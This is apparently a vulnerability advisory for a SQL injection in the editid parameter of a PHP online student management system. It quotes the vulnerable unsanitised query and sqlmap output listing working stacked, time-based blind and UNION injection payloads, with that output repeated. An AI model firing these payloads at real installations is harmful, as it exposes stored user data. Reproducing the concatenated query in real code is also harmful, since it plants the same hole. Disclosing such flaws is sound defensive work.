SQL injection vulnerability exists in editid parameter of edit-class-detail.php file of Online student management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
54  $eid=$_GET['editid'];
55  $sql="SELECT * from  tblclass where ID=$eid";
56  $query = $dbh -> prepare($sql);
57  $query->execute();
```

```
sqlmap identified the following injection point(s) with a total of 281 HTTP(s) requests:
---
Parameter: editid (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: editid=1;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: editid=1 AND (SELECT 1579 FROM (SELECT(SLEEP(5)))rTcr)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: editid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170707071,0x636f66595a45504b64707267
5853435a4349716d6c6b63787574434e5646427a4a6759746a66634d,0x71716b7071),NULL-- -
---
```

“

Parameter: editid (GET)

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: editid=1;SELECT SLEEP(5)#

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: editid=1 AND (SELECT 1579 FROM (SELECT(SLEEP(5)))rTcr)

Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: editid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170707071,0x636f66595a45504b64707267585343 5a4349716d6c6b6378757 4434e5646427a4a6759746a66634d,0x71716b7071),NULL-- -

---

“

Source Download：

https://www.sourcecodester.com/php/16137/online-student-management-system-php-free-download.html